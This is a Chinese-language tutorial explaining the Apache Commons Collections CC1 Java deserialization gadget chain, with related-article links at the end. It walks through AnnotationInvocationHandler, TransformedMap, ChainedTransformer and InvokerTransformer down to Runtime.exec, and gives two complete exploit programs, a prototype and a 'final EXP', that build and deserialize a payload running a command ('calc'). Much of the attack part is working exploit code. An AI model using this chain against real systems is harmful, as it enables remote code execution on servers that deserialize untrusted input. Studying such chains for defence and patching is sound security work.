Java安全之CC1利用鏈詳解
一、梳理基本邏輯
WEB后端JVM通過readObject()的反序列化方式接收用戶輸入的數(shù)據(jù)
用戶編寫惡意代碼并將其序列化為原始數(shù)據(jù)流
WEB后端JVM接收到序列化后惡意的原始數(shù)據(jù)并進行反序列化
當(dāng)調(diào)用：
ObjectInputStream.readObject()
JVM 內(nèi)部邏輯：
- → 反序列化 AnnotationInvocationHandler.class
- → 檢查到類里定義了 private void readObject(ObjectInputStream)
- → 自動調(diào)用 readObject()
于是我們通過這個入口將整條鏈都執(zhí)行了，最后執(zhí)行命令
二、CC1的基本形態(tài)構(gòu)建
2.1、Runtime.getRuntime().exec()
Java執(zhí)行系統(tǒng)命令的方式
- 正常寫法：
Runtime.getRuntime().exec("calc");- 反射寫法：
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");2.2、InvokeTransformer.transform()
重寫了Transformer接口的transform方法，能執(zhí)行命令
在InvokeTransformer()中傳入待執(zhí)行的方法名（exec）、類的類型（String.class）和具體命令（calc）
在InvokeTransformer的transform()中傳入要執(zhí)行方法的對象（r）
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);其作用等價于
Runtime r = Runtime.getRuntime();
Class c = Runtime.class;
Method execMethod = c.getMethod("exec", String.class);
execMethod.invoke(r,"calc");也等價于
Runtime.getRuntime().exec("calc");2.3、TransformedMap.checkSetValue()
會調(diào)用transform -> 需要通過TransformedMap.decorate()間接調(diào)用
可以看到圖3調(diào)用了transform()方法；
并且由圖1知道該類是對Map進行處理的類，為了達到我們想要的效果，我們得自己構(gòu)造一個Hash Map；
而且可以看到圖3最后是對valueTransformer進行操作的，所以我們可以把InvokeTransformer對象當(dāng)做valueTransformer傳遞給TransformedMap的decorate()方法：
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);所以當(dāng)TransformedMap處理我們的對象時，就會調(diào)用InvokeTransformer.transform()
也就是等價于：
protected Object checkSetValue(Object value) {
return InvokeTransformer.transform(value);
}2.4、MapEntry.setValue()
TransformedMap的抽象父類AbstractInputCheckedMapDecorator
中的MapEntry副類中的setValue()方法調(diào)用了checkSetValue()
- HashMap在遍歷的時候，一個鍵值對就叫Entry；
- MapEntry的setValue()實際上就是重寫的Entry的setValue()；
所以當(dāng)遍歷我們構(gòu)造的transformedMap對象時，就會走到MapEntry的setValue()方法；
進而調(diào)用setValue()中調(diào)用的checkSetValue()：
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
for(Map.Entry entry:transformedMap.entrySet()){
entry.setValue(r);
}當(dāng)transformedMap被遍歷時，就會執(zhí)行命令：
2.5、AnnotationInvocationHandler.readObject()
AnnotationInvocationHandler重寫了readObject()方法，執(zhí)行AnnotationInvocationHandler.readObject()時會調(diào)用setValue()
因為這個類的構(gòu)造方法不是public，所以我們要通過反射獲取該類及其方法
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);三、整理內(nèi)容
3.1、思路梳理（正向）
1、現(xiàn)在我們構(gòu)建的這個對象，會在反序列化的時候自動觸發(fā)AnnotationInvocationHandler中的readObject()方法，原理如下；
2、當(dāng)執(zhí)行該重寫的readObject()方法時，會觸發(fā)調(diào)用MapEntry.setValue()，因為AnnotationInvocationHandler.readObject()的內(nèi)部機制：
當(dāng)反序列化AnnotationInvocationHandler時會自動遍歷我們傳遞的transformedMap，從而執(zhí)行MapEntry的setValue()方法
for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) {
memberValue.setValue(...); // ← 這里就觸發(fā)了 transformedMap 的 checkSetValue()
}3、當(dāng)MapEntry.setValue()被執(zhí)行時，會執(zhí)行TransformedMap.checkSetValue()，因為：
TransformedMap.decorate()返回的Map包裝了原始的entrySet()，當(dāng)調(diào)用entry.setValue()時，其實是在調(diào)用TransformedMap.MapEntry.setValue()，而這個方法正好調(diào)用了checkSetValue()
當(dāng)遍歷我們構(gòu)造的transformedMap對象時，就會走到MapEntry的setValue()方法；
進而調(diào)用setValue()中調(diào)用的checkSetValue()：
4、當(dāng)TransformedMap.checkSetValue()被調(diào)用時，會調(diào)用InvokeTransformer.transform()，因為：
我們把InvokeTransformer對象當(dāng)做valueTransformer傳遞給TransformedMap的decorate()方法
而decorate()方法就會間接調(diào)用checkSetValue()，然后間接調(diào)用InvokeTransformer.transform()，相當(dāng)于
protected Object checkSetValue(Object value) {
return InvokeTransformer.transform(value);
}5、當(dāng)InvokeTransformer.transform()被調(diào)用，就基于我們實例化的Runtime對象r進行命令執(zhí)行
3.2、EXP雛形
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.Method;
import java.util.HashMap;
import java.util.Map;
public class CC1 {
public static void main(String[] args) throws Exception
{
// Runtime.getRuntime().exec("calc");
Runtime r = Runtime.getRuntime();
// Class c = Runtime.class;
// Method execMethod = c.getMethod("exec", String.class);
// execMethod.invoke(r,"calc");
InvokerTransformer invokerTransformer = new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"});
HashMap<Object,Object> map = new HashMap<>();
map.put("key","value");
Map<Object,Object> transformedMap = TransformedMap.decorate(map,null,invokerTransformer);
// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(r);
// }
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AnnotationInvocationHandlerConstructor = c.getDeclaredConstructor(Class.class,Map.class);
AnnotationInvocationHandlerConstructor.setAccessible(true);
Object hacker = AnnotationInvocationHandlerConstructor.newInstance(Target.class,transformedMap);
serialize(hacker);
unserialize("hacker.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("hacker.bin"));
oss.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception,ClassNotFoundException{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}四、問題處理
4.1、Runtime不能被序列化
我們跟進到Runtime里看一下，發(fā)現(xiàn)它沒有serializable接口，不能被序列化：
但是我們可以運用反射來獲取它的原型類，它的原型類class是存在serializable接口，可以序列化
那么我們怎么獲取一個實例化對象呢，這里我們看到存在一個靜態(tài)的getRuntime方法，這個方法會返回一個Runtime對象，相當(dāng)于是一種單例模式：
用反射構(gòu)建一個Runtime對象（能執(zhí)行命令）：
//獲取類原型
Class c = Runtime.class;
//獲取getRuntime方法
Method getRuntimeMethod = c.getMethod("getRuntime",null);
//獲取實例化對象，因為該方法無無參方法，所以全為null
Runtime r = (Runtime) getRuntimeMethod.invoke(null,null);
//獲取exec方法
Method execMehod = c.getMethod("exec", String.class);
//實現(xiàn)命令執(zhí)行
execMehod.invoke(r,"calc");因為我們最后執(zhí)行是依靠InvokeTransformer.transform()，所以要將上述代碼進行變形，使其用InvokeTransformer.transform()的形式呈現(xiàn)（能執(zhí)行命令）：
參考InvokeTransformer.transform()執(zhí)行對象方法的原理
\\InvokeTransformer(方法).transform(對象)\\
//獲取類原型
Class c = Runtime.class;
//模擬獲取getRuntime方法
Method getRuntimeMethod = (Method) new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}).transform(Runtime.class);
//模擬獲取invoke方法
Runtime r = (Runtime) new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}).transform(getRuntimeMethod);
//模擬獲取exec方法，并進行命令執(zhí)行
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"}).transform(r);但是這樣要一個個嵌套創(chuàng)建參數(shù)太麻煩了，我們這里找到了一個Commons Collections庫中存在的ChainedTransformer類，它也存在transform方法可以幫我們遍歷InvokerTransformer，并且調(diào)用transform方法：
Transformer[] transformers = new Transformer[]{
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
chainedTransformer.transform(Runtime.class);4.2、AnnotationInvocationHandler類下的readObject方法的條件判斷
這里memeberType是獲取注解中成員變量的名稱，然后并且檢查鍵值對中鍵名是否有對應(yīng)的名稱
而我們發(fā)現(xiàn)另一個注解@Target中有個名為value的成員變量，所以我們就可以使用這個注解，
并改第一個鍵值對的值為value：
4.3、AnnotationTypeMismatchExceptionProxy不能轉(zhuǎn)換為Runtime.class
把上述問題解決后我們再觀察，因為AnnotationInvocationHandler.readObject()是入口，當(dāng)反序列化觸發(fā)readObject()時，該方法默認創(chuàng)建了一個對象AnnotationTypeMismatchExceptionProxy：
可以發(fā)現(xiàn)，鏈條雖然被觸發(fā)了，不過AnnotationTypeMismatchExceptionProxy這個對象最后傳到ChainedTransformer類中是不能執(zhí)行方法的，我們想要的是獲取Runtime.class對象：
protected Object checkSetValue(Object value) {
return ChainedTransformer.transform(Runtime.class);
}而不是：
protected Object checkSetValue(Object value) {
return ChainedTransformer.transform(AnnotationTypeMismatchExceptionProxy);
}所以我們需要把AnnotationTypeMismatchExceptionProxy改為Runtime.class
ConstantTransformer：我們傳入什么值，就會返回什么值
這個類就能把AnnotationTypeMismatchExceptionProxy改為Runtime.class
在到達最后一步InvokeTransformer.transform()對某個對象執(zhí)行其命令之前，將Runtime.class作為對象輸出給它
至此，CC1鏈的問題就全部解決了。
五、最終EXP
package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.util.HashMap;
import java.util.Map;
public class ZCC1_final {
public static void main(String[] args) throws Exception{
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",new Class[]{String.class,Class[].class},new Object[]{"getRuntime",null}),
new InvokerTransformer("invoke",new Class[]{Object.class,Object[].class},new Object[]{null,null}),
new InvokerTransformer("exec",new Class[]{String.class},new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
HashMap<Object,Object> map = new HashMap<>();
map.put("value","value");
Map<Object,Object> transformed = TransformedMap.decorate(map,null,chainedTransformer);
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor annotation = c.getDeclaredConstructor(Class.class,Map.class);
annotation.setAccessible(true);
Object o = annotation.newInstance(Target.class,transformed);
serialize(o);
unserialize("ser.bin");
}
public static void serialize(Object obj) throws Exception{
ObjectOutputStream oss = new ObjectOutputStream(new FileOutputStream("ser.bin"));
oss.writeObject(obj);
}
public static Object unserialize(String Filename) throws Exception{
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
Object obj = ois.readObject();
return obj;
}
}總結(jié)
以上為個人經(jīng)驗，希望能給大家一個參考，也希望大家多多支持腳本之家。
相關(guān)文章
圖片經(jīng)過base64編碼轉(zhuǎn)換后,文件會變大的原因是因為base64編碼會將每個3字節(jié)的數(shù)據(jù)轉(zhuǎn)換成4字節(jié)的數(shù)據(jù),并且在轉(zhuǎn)換的過程中還會添加一些額外的字符,這篇文章主要介紹了Java 中如何對圖片進行壓縮處理,需要的朋友可以參考下2023-09-09
這篇文章主要為大家詳細介紹了JavaWeb實現(xiàn)簡單文件上傳功能，文中示例代碼介紹的非常詳細，具有一定的參考價值，感興趣的小伙伴們可以參考一下2022-06-06
Caused by: java.lang.ClassNotFoundException: org.apache.comm
這篇文章主要介紹了Caused by: java.lang.ClassNotFoundException: org.objectweb.asm.Type異常，文中通過示例代碼介紹的非常詳細，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2020-07-07
Java中try-catch-finally執(zhí)行順序你知道嗎
本文主要介紹了try-catch-finally執(zhí)行順序你知道嗎，文中通過示例代碼介紹的非常詳細，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值，需要的朋友們下面隨著小編來一起學(xué)習(xí)學(xué)習(xí)吧2022-06-06
這篇文章主要介紹了java反射耗時測試案例解析,文中通過示例代碼介紹的非常詳細，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2019-10-10
文章講解Java繼承與多態(tài)的概念、語法及應(yīng)用,繼承通過extends復(fù)用父類成員,減少冗余；多態(tài)實現(xiàn)方法重寫與向上轉(zhuǎn)型,提升靈活性與代碼復(fù)用性,動態(tài)綁定降低圈復(fù)雜度,感興趣的朋友一起看看吧2025-06-06
SpringBoot整合Spring Security的詳細教程
這篇文章主要介紹了SpringBoot整合Spring Security的方法，本文給大家介紹的非常詳細，對大家的學(xué)習(xí)或工作具有一定的參考借鑒價值,需要的朋友可以參考下2020-08-08
JAVA使用POI(XSSFWORKBOOK)讀取EXCEL文件過程解析
這篇文章主要介紹了JAVA使用POI(XSSFWORKBOOK)讀取EXCEL文件過程解析,文中通過示例代碼介紹的非常詳細，對大家的學(xué)習(xí)或者工作具有一定的參考學(xué)習(xí)價值,需要的朋友可以參考下2019-08-08
Java應(yīng)用程序通過直接方式從操作系統(tǒng)中申請的內(nèi)存,叫堆外內(nèi)存,這篇文章主要給大家介紹了關(guān)于jvm堆外內(nèi)存排查的相關(guān)資料,文中通過代碼介紹的非常詳細,需要的朋友可以參考下2023-12-12
java 使用HttpURLConnection發(fā)送數(shù)據(jù)簡單實例
這篇文章主要介紹了java 使用HttpURLConnection發(fā)送數(shù)據(jù)簡單實例的相關(guān)資料,需要的朋友可以參考下2017-06-06